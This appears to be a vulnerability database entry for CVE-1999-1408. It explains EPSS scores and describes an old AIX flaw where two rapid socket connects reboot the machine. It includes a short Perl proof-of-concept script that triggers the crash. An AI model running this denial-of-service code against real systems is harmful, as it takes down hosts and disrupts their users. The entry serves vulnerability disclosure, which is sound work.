CVE-1999-1408 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot when given two connects, one to a fixed port (a number of different ports were found to trigger this behaviour) and then another random port connection immediately thereafter. #!/usr/local/bin/perl5 use Socket; socket (SOCK,AF_INET,SOCK_STREAM,0); $iaddr = inet_aton('localhost'); $paddr = sockaddr_in('23',$iaddr); connect SOCK,$paddr; shutdown SOCK,2; $paddr = sockaddr_in('24',$iaddr); connect SOCK,$paddr;
